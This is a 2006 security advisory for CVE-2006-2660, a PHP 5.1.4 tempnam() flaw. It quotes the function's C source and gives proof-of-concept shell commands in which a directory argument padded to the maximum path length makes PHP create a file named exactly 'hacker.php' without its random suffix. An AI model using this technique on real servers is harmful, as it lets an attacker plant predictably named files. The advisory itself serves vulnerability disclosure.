PHP 5.1.4 tempnam() Bypass unique file name

Published
Credit
Risk
2006.06.11
Maksymilian Arciemowicz
Medium
CWE
CVE
Local
Remote
N/A
CVE-2006-2660
Yes
No

CVSS Base Score
Impact Subscore
Exploitability Subscore
2.1/10
2.9/10
3.9/10
Exploit range
Attack complexity
Authentication
Local
Low
No required
Confidentiality impact
Integrity impact
Availability impact
None
Partial
None

[tempnam() Bypass unique file name PHP 5.1.4]

Author: Maksymilian Arciemowicz
Date:
- -Written: 22.5.2006
- -Public: 11.6.2006
CVE-2006-2660

- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly.

A nice introduction to PHP by Stig Sæther Bakken can be found at http://www.zend.com/zend/art/intro.php on the Zend website. Also, much of the PHP Conference Material is freely available.
tempnam -- Create file with unique file name.

- --- 1. tempnam() Bypass unique file name ---
In lastes adv i have public an issue "Open Basedir Bypass". In function tempname() are required 2 arg`s.

http://pl.php.net/manual/en/function.tempnam.php

string tempnam ( string dir, string prefix )

In PHP 5.1.4 exists bug that allows you to create file with any name.

- ---
cxib# php -r 'echo tempnam("/www/temp/", "hacker.php")."\n";'
/www/temp/hacker.phpGQMqSE
- ---

You have created file /www/temp/hacker.phpGQMqSE. "GQMqSE" is automatically added to filename.
Problem exists, because path couldn't be longer than MAXPATHLEN. In standard MAXPATHLEN is 1024B.

- -771-805---
PHP_FUNCTION(tempnam)
{
zval **arg1, **arg2;
char *d;
char *opened_path;
char *p;
int fd;
size_t p_len;

if (ZEND_NUM_ARGS() != 2 || zend_get_parameters_ex(2, &arg1, &arg2) == FAILURE) {
WRONG_PARAM_COUNT;
}
convert_to_string_ex(arg1);
convert_to_string_ex(arg2);

if (php_check_open_basedir(Z_STRVAL_PP(arg1) TSRMLS_CC)) {
RETURN_FALSE;
}

d = estrndup(Z_STRVAL_PP(arg1), Z_STRLEN_PP(arg1));

php_basename(Z_STRVAL_PP(arg2), Z_STRLEN_PP(arg2), NULL, 0, &p, &p_len TSRMLS_CC);
if (p_len > 64) {
p[63] = '\';
}

if ((fd = php_open_temporary_fd(d, p, &opened_path TSRMLS_CC)) >= 0) {
close(fd);
RETVAL_STRING(opened_path, 0);
} else {
RETVAL_FALSE;
}
efree(p);
efree(d);
}
- -771-805---

So if you create path like /www/../www/.. etc.

arg1+arg2=1023

uniqueid is not given to path.

Example:

- ---
cxib# php -r 'echo tempnam("/www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../dupa/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../dupa/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/temp/", "hacker.php")."\n";'
/www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../dupa/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../dupa/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/temp/hacker.php
- ---

= /www/temp/hacker.php

- ---
cxib# ls -la /www/temp/hacker*
- -rw------- 1 cxib cxib 0 May 22 23:33 /www/temp/hacker.php
- -rw------- 1 cxib cxib 0 May 22 23:26 /www/temp/hacker.phpGQMqSE
- ---


- --- 2. How to fix ---
CVS
http://cvs.php.net/viewcvs.cgi/php-src/NEWS

- --- 3. Contact ---
Author: Maksymilian Arciemowicz


See this note in RAW Version

 
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